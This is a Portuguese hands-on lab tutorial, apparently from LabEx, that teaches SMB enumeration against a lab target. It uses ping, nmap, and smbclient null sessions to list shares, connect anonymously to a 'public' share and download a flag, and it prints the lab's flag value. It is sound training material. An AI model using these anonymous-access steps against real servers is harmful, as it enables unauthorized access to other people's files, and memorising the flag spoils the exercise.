Introdução
Bem-vindo a este laboratório prático focado na enumeração e exploração do Server Message Block (SMB). O SMB é um protocolo de compartilhamento de arquivos em rede que permite que aplicações em um computador leiam e escrevam em arquivos, e solicitem serviços de programas de servidor em uma rede de computadores. Devido ao seu uso generalizado, é um alvo comum para atacantes.
Neste laboratório, você se colocará no lugar de um penetration tester. Você começará com reconhecimento básico de rede para confirmar que o alvo está online. Em seguida, usará a poderosa ferramenta de escaneamento nmap para descobrir um serviço SMB aberto. Finalmente, usará smbclient para investigar o serviço, encontrar uma configuração incorreta que permite acesso anônimo de convidado e recuperar uma flag oculta de um compartilhamento público.
Ao concluir, você entenderá como:
- Verificar a conectividade de rede usando
ping. - Escanear por portas e serviços SMB abertos usando
nmap. - Enumerar e conectar-se a compartilhamentos SMB usando
smbclient. - Explorar uma configuração incorreta de acesso de convidado para recuperar arquivos.
Vamos começar.
Verificar Conectividade com o Alvo Usando Ping
Nesta primeira etapa, você realizará uma tarefa básica de reconhecimento: verificar se a máquina alvo está online e acessível a partir da sua máquina atacante. O comando ping é uma utilidade padrão para isso, enviando pacotes ICMP para um host para testar uma resposta.
Seu ambiente inclui um sistema alvo com o alias target. Para confirmar a conectividade, execute o seguinte comando no seu terminal para enviar quatro pacotes:
ping -c 4 target
O flag -c 4 instrui o ping a enviar exatamente quatro pacotes e depois parar. Um resultado bem-sucedido se parecerá com a saída abaixo, mostrando respostas do alvo. O endereço IP e os valores de tempo podem variar.
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms
--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms
Ver "4 received, 0% packet loss" confirma que sua máquina pode se comunicar com o alvo, preparando o terreno para a próxima fase de enumeração.
Escanear Portas Abertas com Nmap
Nesta etapa, você usará o nmap (Network Mapper) para escanear o alvo em busca de portas abertas e identificar os serviços em execução. Este é um passo crítico para encontrar potenciais vetores de ataque. Focaremos nosso escaneamento no serviço SMB.
Execute o seguinte comando nmap para realizar um escaneamento de detecção de versão de serviço (-sV) e executar um script (--script) para verificar os protocolos SMB no target:
nmap -sV --script smb-protocols target
Após alguns momentos, o nmap relatará suas descobertas. A saída será semelhante a esta:
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
| dialects:
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
A saída confirma que as portas 139/tcp e 445/tcp estão abertas e executando o serviço Samba. A porta 445 é a porta moderna para SMB. Esta descoberta é o nosso sinal para investigar o serviço SMB em busca de vulnerabilidades.
Conectar ao Alvo via SMB
Nesta etapa, você usará a utilidade smbclient para interagir com o serviço SMB no alvo. Seu objetivo é ver se você consegue se conectar sem senha, uma técnica conhecida como "null session" ou login anônimo.
Primeiro, vamos listar os compartilhamentos disponíveis no alvo. O flag -L lista os serviços e o flag -N tenta se conectar sem senha.
Execute o seguinte comando:
smbclient -L //target -N
Se o servidor estiver mal configurado para permitir acesso de convidado (guest access), você verá uma lista de compartilhamentos disponíveis. A saída deve ser semelhante a esta:
Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba Server)
SMB1 disabled -- no workgroup available
A descoberta chave aqui é o compartilhamento public. O nome sugere que ele pode ser acessível a qualquer pessoa. Na próxima etapa, você se conectará a este compartilhamento para explorar seu conteúdo.
Explorar Sistema Alvo e Localizar Flag
Nesta etapa final, você se conectará ao compartilhamento public que descobriu e procurará pela flag. Isso simula a fase de pós-exploração, onde um atacante busca dados valiosos.
Conecte-se diretamente ao compartilhamento public usando smbclient, novamente utilizando o flag -N para acesso anônimo:
smbclient //target/public -N
Uma conexão bem-sucedida o levará a um prompt do smbclient, que se parece com smb: \>. Agora você está navegando pelo compartilhamento de arquivos remoto.
Try "help" to get a list of possible commands.
smb: \>
Use o comando ls para listar o conteúdo do compartilhamento:
ls
Você deverá ver o arquivo flag.txt listado.
smb: \> ls
. D 0 Fri Sep 19 10:29:39 2025
.. D 0 Fri Sep 19 10:29:39 2025
flag.txt N 29 Fri Sep 19 10:29:39 2025
40901312 blocks of size 1024. 22067688 blocks available
Agora, baixe o arquivo para sua máquina local usando o comando get:
get flag.txt
Nota: A utilidade smbclient não possui um comando cat embutido para visualizar o conteúdo do arquivo diretamente. Você precisa baixar o arquivo primeiro usando get.
Após a conclusão do download, digite exit para sair da sessão do smbclient. Finalmente, use o comando cat em seu terminal local para exibir o conteúdo da flag baixada.
cat flag.txt
O terminal exibirá o valor da flag.
labex{smb_gu3st_acc3ss_fl4g}
Parabéns! Você enumerou com sucesso um serviço SMB, explorou uma má configuração de acesso de convidado e recuperou a flag. Copie o valor da flag para completar o laboratório.
Resumo
Neste laboratório, você completou com sucesso um fluxo de trabalho básico de teste de penetração contra um serviço SMB mal configurado. Você aprendeu e praticou como:
- Usar
pingpara verificar a conectividade de rede com um alvo. - Empregar
nmappara escanear portas abertas e identificar o serviço SMB. - Usar
smbclient -Lpara enumerar compartilhamentos de rede disponíveis anonimamente. - Conectar-se a um compartilhamento SMB aberto com
smbclientusando uma null session. - Navegar por um compartilhamento remoto e baixar arquivos usando
lseget.
Este exercício demonstra uma vulnerabilidade comum e crítica: permitir acesso anônimo ou de convidado a compartilhamentos de rede. Tais má configurações podem levar à exposição de dados sensíveis. Ao entender como encontrar e explorar essas fraquezas, você estará mais preparado para proteger seus próprios sistemas contra elas.



